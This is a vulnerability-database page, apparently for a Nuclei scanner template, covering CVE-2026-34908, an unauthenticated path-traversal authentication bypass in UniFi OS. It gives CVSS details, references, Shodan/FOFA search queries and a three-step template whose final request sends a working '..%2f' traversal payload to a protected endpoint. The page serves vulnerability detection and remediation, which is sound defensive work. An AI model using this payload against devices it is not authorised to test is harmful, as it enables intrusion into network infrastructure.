/Vulnerability Library

UniFi OS - Authentication Bypass via Path Traversal (..%2f)

CVE-2026-34908
Verified

Description

UniFi OS devices contain an improper access control vulnerability caused by insufficient authorization checks, letting network attackers make unauthorized system changes, exploit requires network access.

Severity

Critical

CVSS Score

10

Exploit Probability

85%

Published Date

August 9, 2026

Template Author

boreas37

CVE-2026-34908.yaml
id: CVE-2026-34908

info:
  name: UniFi OS - Authentication Bypass via Path Traversal (..%2f)
  author: Boreas37
  severity: critical
  description: |
    UniFi OS devices contain an improper access control vulnerability caused by insufficient authorization checks, letting network attackers make unauthorized system changes, exploit requires network access.
  impact: |
    Attackers can make unauthorized changes to the system, potentially compromising device integrity and security.
  remediation: |
    Update to the latest version of UniFi OS.
  reference:
    - https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908
    - https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34908
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34908
    epss-score: 0.85194
    epss-percentile: 0.99704
    cwe-id: CWE-284
  metadata:
    max-request: 3
    verified: true
    shodan-query: 'http.title:"UniFi OS"'
    fofa-query: 'title="UniFi OS"'
  tags: cve,cve2026,unifi,ubiquiti,auth-bypass,traversal,kev,unauth,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains_any(to_lower(body), 'unifi', 'ubiquiti', 'ubnt')"
        internal: true

  - raw:
      - |
        GET /proxy/users/api/v2/ucs/update/latest_package HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 401 || status_code == 403"
        internal: true

  - raw:
      - |
        GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'pkg_name required', 'CODE_SYSTEM_ERROR')"
        condition: and
# digest: 490a00463044022025ea227e4afdf74c66dba89862c8481c77d3f8c839fc1d024ba02ee9b9bd6c86022024d33b65f31cb1f793761b214177954bdab2b493f4be042d6516132e339bb40a:922c64590222798bb761d5b6d8e72950
10.0Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE ID:
cve-2026-34908
CWE ID:
cwe-284

References

https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963bhttps://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysishttps://nvd.nist.gov/vuln/detail/CVE-2026-34908

Remediation Steps

Update to the latest version of UniFi OS.